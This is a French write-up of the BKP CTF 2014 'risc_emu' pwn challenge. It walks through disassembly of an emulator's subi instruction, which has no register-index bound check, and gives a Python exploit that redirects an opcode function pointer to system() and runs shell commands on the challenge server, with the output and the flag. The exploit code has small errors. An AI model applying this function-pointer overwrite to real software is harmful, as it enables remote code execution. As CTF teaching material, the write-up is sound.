BKP CTF 2014 > Risc_emu - pwn 100
Comme son nom l'indique, risc_emu est un petit émulateur de CPU RISC, écrit en C++ et compilé pour x64. On doit lui donner en entrée un bytecode en base64 qui est ensuite exécuté. L'exécutable est de taille modeste, je ne vais donc pas rentrer dans les détails.
Le main() commence par initialiser la table des opcodes, main::fun : 10 opcodes de 0 à 9 (add, addi, sub, subi, mmul, mdiv, mxor, mand, mor, term) dans l'ordre. Le bytecode est pris sur l'entrée standard par cin >>, ce qui signifie qu'il est de longueur arbitraire. Il est ensuite décodé, puis recopié dans main::buf, situé 0x90 bytes avant main::fun. Cependant, juste après l'initialisation de main::fun, un cookie (qui correspond simplement au premier rand() de srand(time(0))) est placé juste à la fin de main::buf, et vérifié avant toute exécution de bytecode.
Il y a plusieurs manières d'exploiter cette exécutable : la première est de faire un bruteforce gentillet sur le time(0) distant, afin de pouvoir prévoir le cookie, simplement écraser le pointeur de fonction du premier opcode, puis exécuter cette instruction. Il y avait également une vulnérabilité dans la sémantique des instructions subi et addi :
public _Z4subiPKc _Z4subiPKc proc near var_18= dword ptr -18h var_14= dword ptr -14h var_10= dword ptr -10h var_C= dword ptr -0Ch var_8= qword ptr -8 push rbp mov rbp, rsp sub rsp, 20h lea rax, ds:4037F5h //db 'subi %d 0x%02x%02x',0Ah,0 mov [rbp+var_8], rdi mov rdi, [rbp+var_8] movzx ecx, byte ptr [rdi] mov [rbp+var_C], ecx // index registre mov rdi, [rbp+var_8] movzx ecx, byte ptr [rdi+1] mov [rbp+var_10], ecx // byte immediate de poids fort mov rdi, [rbp+var_8] movzx ecx, byte ptr [rdi+2] mov [rbp+var_14], ecx // byte immediate de poids faible mov esi, [rbp+var_C] mov edx, [rbp+var_10] mov ecx, [rbp+var_14] mov rdi, rax ; format mov al, 0 call _printf movsxd rdi, [rbp+var_C] mov ecx, dword ptr ds:r[rdi*4] // r à 0x604b50 mov edx, [rbp+var_10] shl edx, 8 sub ecx, edx sub ecx, [rbp+var_14] movsxd rdi, [rbp+var_C] mov dword ptr ds:r[rdi*4], ecx mov [rbp+var_18], eax add rsp, 20h pop rbp retn _Z4subiPKc endp
En effet, le subi prend deux paramètres : le premier byte est l'index d'un registre (les registres sont stockés dans r), et les deux bytes suivant forment un entier de 16 bytes big-endian à soustraire à ce regisre. Comme on le voit dans le disas ci-dessus, il n'y a pas de vérification sur l'index du registre, on peut donc modifier n'importe quel entier entre r et r+4*256 (=0x604f50). Comme main::fun va de 0x604c10 à 0x604c60, on peut modifier n'importe quel pointeur de la table.
Pour faciliter l'exploitation, system() était présent dans les symboles de l'application. Il suffit donc de remplacer un des pointeurs de fonction par son adresse dans la PLT, et le contenu de notre instruction est passé à system() lors de l'exécution de l'instruction détournée :
#!/usr/bin/python import socket import base64 import struct HOST = "54.218.22.41" PORT = 4545 CMD = "id ; ls -al ; cat key" s = socket.socket() s.connect((HOST, PORT)) recv_timeout(s) registers = 0x604b50 opcode_table = 0x604c10 target_opcode = 9 term_i_handler = 0x4024c0 system_plt = 0x4010d0 rnum = ((opcode_table + target_opcode*8) - registers)/4 baseval = term_i_handler payload = "" while baseval != system_plt: diff = baseval - target if diff > 0xffff: diff = 0xffff instr = "\x03" + chr(rnum) + struct.pack(">H", diff) payload += instr baseval -= diff payload += chr(target_opcode) + CMD + "\x00" s.sendall(base64.standard_b64encode(payload) + "\n") print s.recv(4096)
Résultat de l'exécution :
$ ./pwn100.py RISC CPU Emulator BkP 2014 Give me your bytecode! Please give me your bytecode base64'd: Got it, executing A0IT8AlpZCA7IGxzIC1hbCA7IGNhdCBrZXkA now! subi 66 0x13f0 uid=1000(riscemu) gid=1000(riscemu) groups=1000(riscemu) total 60 drwxr-xr-x 2 root root 4096 Feb 28 16:59 . drwxr-xr-x 3 root root 4096 Feb 28 16:00 .. -rw------- 1 riscemu riscemu 392 Feb 28 17:00 .bash_history -rw-r--r-- 1 riscemu riscemu 220 Feb 28 16:00 .bash_logout -rw-r--r-- 1 riscemu riscemu 3486 Feb 28 16:00 .bashrc -rw-r--r-- 1 riscemu riscemu 675 Feb 28 16:00 .profile -rwxr-xr-x 1 root root 30291 Feb 28 16:10 emu -rw-rw-r-- 1 root root 44 Feb 28 16:59 key flag{stupid_boston_leprechauns_and_geohots} I don't recognize opcode 0x3b
D'où le flag: stupid_boston_leprechauns_and_geohots.